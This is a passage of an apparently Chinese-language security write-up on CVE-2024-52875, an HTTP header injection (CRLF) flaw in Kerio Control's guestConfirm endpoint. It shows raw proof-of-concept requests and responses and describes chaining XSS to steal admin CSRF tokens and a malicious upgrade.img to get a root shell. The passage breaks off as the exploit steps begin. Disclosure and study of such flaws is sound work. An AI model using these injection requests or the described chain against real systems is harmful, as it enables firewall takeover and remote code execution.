GET /nonauth/guestConfirm.cs?dest=VGVzdA0KVGVzdA== HTTP/1.1 Host: 192.168.123.64:4081 Connection: close
响应:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
HTTP/1.1 302 Found Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Connection: Close Content-Type: text/html Date: Thu, 5 Dec 2024 11:16:19 GMT Expires: Wed, 4 Jun 1980 06:02:09 GMT Location: Test Test Pragma: no-cache Server: Kerio Control Embedded Web Server Strict-Transport-Security: max-age=63072000, includeSubDomains, preload X-UA-Compatible: IE=edge
If your browser does not redirect automatically, please click this link: <a href="Test Test">Test Test</a>
GET /nonauth/guestConfirm.cs?dest=VGVzdA0KDQpUZXN0 HTTP/1.1 Host: 192.168.123.64:4081 Connection: close
响应:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
HTTP/1.1 302 Found Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Connection: Close Content-Type: text/html Date: Thu, 5 Dec 2024 11:24:20 GMT Expires: Wed, 4 Jun 1980 06:02:09 GMT Location: Test Test Pragma: no-cache Server: Kerio Control Embedded Web Server Strict-Transport-Security: max-age=63072000, includeSubDomains, preload X-UA-Compatible: IE=edge
If your browser does not redirect automatically, please click this link: <a href="Test
HTTP/1.1 302 Found Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Connection: Close Content-Type: text/html Date: Thu, 5 Dec 2024 11:34:58 GMT Expires: Wed, 4 Jun 1980 06:02:09 GMT Location: Test
Test Pragma: no-cache Server: Kerio Control Embedded Web Server Strict-Transport-Security: max-age=63072000, includeSubDomains, preload X-UA-Compatible: IE=edge
If your browser does not redirect automatically, please click this link: <a href="Test
在正文之前也注入了一个“Content-Length” HTTP 头,因为这样我们指示浏览器只读取/解析 HTTP 响应正文的前 N 个字节(忽略所有其余内容),其中 N 被指定为“Content-Length”头的值。如果不这样,那么浏览器将继续读取/解析正文直到末尾,将会得到一个响应解码错误,因为注入正文之后的字符串不是有效的Deflate-编码数据。
下一步是将概念验证“武器化”,以展示其真实的安全影响。然而,注意到的第一个缺点是以下内容:当 Kerio Control 管理员用户登录到管理界面时,应用程序将提供两个 cookie,一个带有属性的会话 ID(SESSION_CONTROL_WEBADMIN),以及一个令牌(TOKEN_CONTROL_WEBADMIN)。这两个 cookie 都设置了path=/admin/,这意味着无法直接从位于/nonauth/目录下的页面中访问这些 cookie(在这种情况下,仅限于CSRF令牌)。
现在能够“窃取”受害者管理员用户的CSRF令牌,并通过滥用XSS 有效载荷中的XMLHttpRequest API 窃取执行任何操作。这就可以添加新的管理员用户,更改任何用户的密码,修改防火墙设置等等……只需简单地诱骗受害者管理员用户点击恶意链接(一键攻击)!但是这个之前还有一个可以“远程命令执行”问题:
管理员界面的升级功能可以通过将 tar 文件更改为.img 扩展名来上传任意文件。如果创建了一个包含 upgrade.sh shell 脚本的 tar 文件,该脚本将以 root 权限执行。Kerio 尚未为升级功能提供修复方案。
将其包含在 XSS 有效载荷中是有可以的,它可能导致一键RCE攻击,攻击者可能能够在 Kerio Control 实例上获得一个root shell!🎉
通过利用 CVE-2024-52875 通过 XSS 向量,以下是使用它的步骤:
创建如漏洞利用中描述的升级.img文件(使用攻击者的 IP 地址,例如 192.168.123.38):